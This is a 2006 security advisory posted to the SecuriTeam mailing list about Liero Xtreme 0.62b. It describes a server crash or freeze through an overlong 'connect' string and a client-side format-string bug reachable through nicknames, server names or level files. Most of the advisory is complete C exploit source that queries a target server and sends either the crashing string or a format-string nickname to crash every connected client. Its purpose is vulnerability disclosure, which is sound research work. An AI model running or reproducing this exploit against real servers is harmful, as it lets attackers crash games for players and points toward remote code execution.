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| Subject: | [NT] Liero Xtreme Multiple Vulnerabilities |
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| Date: | 7 Mar 2006 19:11:13 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Liero Xtreme Multiple Vulnerabilities ------------------------------------------------------------------------ SUMMARY <http://lieroxtreme.thegaminguniverse.com> Liero Xtreme (aka Lierox) is "a freeware clone of the classic DOS game called Liero, and is mainly focused on the possibility of expanding and customizing the game through mods, levels and skins. Both LAN and Internet multiplayer (through the master server) are supported". The Liero Xtreme product has been found to contain multiple security vulnerabilities allowing a remote attacker to cause the program to crash, as well as execute arbitrary code via a format string vulnerability. DETAILS Vulnerable Systems: * Liero Xtreme version 0.62b A] Server crash/freeze The server can be easily crashed or freezed using a long string with the "connect" command. The problem is caused by the instructions used by the game for handling the data of this command which in some cases lead to the immediate crash of the server or a loop which freezes the game. B] Format String in the Visualization Function The client's function which visualizes the messages on the screen (0x004052d0) is affected by a format string vulnerability which can be used to execute malicious code. Exist different ways for exploiting this bug but the most interesting are the following: - Joining a server using a properly formatted nickname (like %n%n%n%n or %02000x) which will be visualized by all the clients currently in the server and all the others which will join when the attacker is playing. In this type of exploitation if the server is protected by password the attacker must know the right keyword - Hosting a dedicated server visible on the master server (default) with a formatted name, so any client which will enter in the "Join Internet Server" menu will be exploited immediately - Creating a level file (.lxl extension) with a properly formatted mapname Exploit: /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define stricmp strcasecmp #define stristr strcasestr #define ONESEC 1 #endif #define VER "0.1" #define BUFFSZ 4096 #define PORT 23400 #define TIMEOUT 1 #define TWAIT 5 #define CRASHSZ 200 // 128 or more #define FSTRING "%02000x" void delimit(u_char *data); void show_info(u_char *data); int lierox_build_pck(u_char *buff, u_char *cmd, u_char *id, ...); int mycpy(u_char *dst, u_char *src); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err); int create_rand_string(u_char *data, int len, u_int rnd); int timeout(int sock); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { struct sockaddr_in peerl; u_int seed; int sd, len, attack; u_short port = PORT; u_char password[33], nick[CRASHSZ + 1], buff[BUFFSZ], id[4], // I use char for endian compatibility *cmd, *details; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "LieroX <= 0.62b multiple vulnerabilities " VER "\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s <attack> <host> [port(%hu)]\n" "\n" "Attack:\n" "1 = server crash/freeze\n" "2 = in-game nickname format string versus all the clients in the server\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; peerl.sin_addr.s_addr = INADDR_ANY; peerl.sin_port = htons(time(NULL)); peerl.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); seed = time(NULL); cmd = buff + 8; *password = 0; fputs("- request informations\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); len = lierox_build_pck(buff, "query", NULL); *(u_short *)(buff + len) = ~seed; len += 2; len = send_recv(sd, buff, len, buff, sizeof(buff), 1); show_info(buff); close(sd); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); redo: len = lierox_build_pck(buff, "getchallenge", NULL); len = send_recv(sd, buff, len, buff, sizeof(buff), 1); if(stricmp(cmd, "challenge")) { printf("\n" "Error: wrong challenge reply received:\n" " %s\n" "\n", cmd); exit(1); } memcpy(id, cmd + 10, 4); seed = create_rand_string(nick, sizeof(nick), seed); if(attack == 1) { // the bug is NOT in the nickname, we must // simply send a big parameter or value! printf("- server crash/freeze attack (%d bytes)\n", sizeof(nick) - 1); memset(nick, 'a', sizeof(nick) - 1); nick[sizeof(nick) - 1] = 0; } else if(attack == 2) { printf("- client format string attack\n"); strcpy(nick, FSTRING); } else { printf("\nError: wrong attack number selected\n\n"); exit(1); } len = lierox_build_pck(buff, "connect", id, "name", nick, "skin", "default.png", // directory traversal but not exploitable "col_r", "128", "col_g", "200", "col_b", "255", "packet_size", "400", "update_rate", "8", "spectator", "0", "pass", password, NULL, NULL); len = send_recv(sd, buff, len, buff, sizeof(buff), 0); if(len < 0) { if(attack == 1) { printf("\n- server seems crashed, I check it:\n"); len = lierox_build_pck(buff, "ping", NULL); *(u_short *)(buff + len) = ~seed; len += 2; len = send_recv(sd, buff, len, buff, sizeof(buff), 0); if(len < 0) { printf("\n Server IS vulnerable!!!\n\n"); } else { printf("\n Server doesn't seem vulnerable\n\n"); } } } else { details = cmd + strlen(cmd) + 1; if(details >= (buff + len)) details = ""; if(!stricmp(cmd, "goodconnection")) { printf("\n" "- the player is now in the server\n" " any client inside it should have been crashed\n\n"); /* // if you need to send commands: *(u_int *)buff = 0 | 0x80000000; *(u_int *)(buff + 4) = 1; buff[8] = 1; len = 9 + mycpy(buff + 9, "command if needed"); len = send_recv(sd, buff, len, buff, sizeof(buff), 0); */ } else if(!stricmp(cmd, "badpassword")) { printf("\n- server is protected. Insert the password required:\n "); fflush(stdin); fgets(password, sizeof(password), stdin); delimit(password); goto redo; } else { printf("\n- player not accepted (%s)\n\n", details); } } close(sd); return(0); } void delimit(u_char *data) { while(*data && (*data != '\n') && (*data != '\r')) data++; *data = 0; } void show_info(u_char *data) { data += 8; data += strlen(data) + 1 + 2 + 2; printf("\n Name: %s\n", data); data += strlen(data) + 1; printf(" Players: %hhu/%hhu\n", data[0], data[1]); data += 3; printf(" Mod: %s\n", data); data += strlen(data) + 1; printf(" Game: %s\n", data); data += strlen(data) + 1; } int lierox_build_pck(u_char *buff, u_char *cmd, u_char *id, ...) { va_list ap; u_char *par, *val, *p; p = buff; memcpy(p, "\xff\xff\xff\xff", 4); p += 4; memcpy(p, "lx::", 4); p += 4; p += mycpy(p, cmd); if(id) { *p++ = 13; memcpy(p, id, 4); p += 4; va_start(ap, id); while((par = va_arg(ap, u_char *)) && (val = va_arg(ap, u_char *))) { p += mycpy(p, par); *(p - 1) = ';'; p += mycpy(p, val); *(p - 1) = '/'; } va_end(ap); *p++ = 0; } return(p - buff); } int mycpy(u_char *dst, u_char *src) { u_char *p; for(p = dst; *src; src++, p++) { *p = *src; } *p++ = 0; return(p - dst); } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) { int retry, len; for(retry = 3; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputc('.', stdout); if(!timeout(sd)) break; } if(!retry) { if(!err) return(-1); fputs("\nError: socket timeout, no reply received\n\n", stdout); exit(1); } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); fputc('.', stdout); return(len); } int create_rand_string(u_char *data, int len, u_int rnd) { const static u_char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; len = rnd % len; if(len < 3) len = 3; while(--len) { rnd = (rnd * 0x343FD) + 0x269EC3; rnd >>= 3; *data++ = table[rnd % (sizeof(table) - 1)]; } *data = 0; return(rnd); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif ADDITIONAL INFORMATION The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma. The original article can be found at: <http://aluigi.altervista.org/adv/lieroxxx-adv.txt> http://aluigi.altervista.org/adv/lieroxxx-adv.txt ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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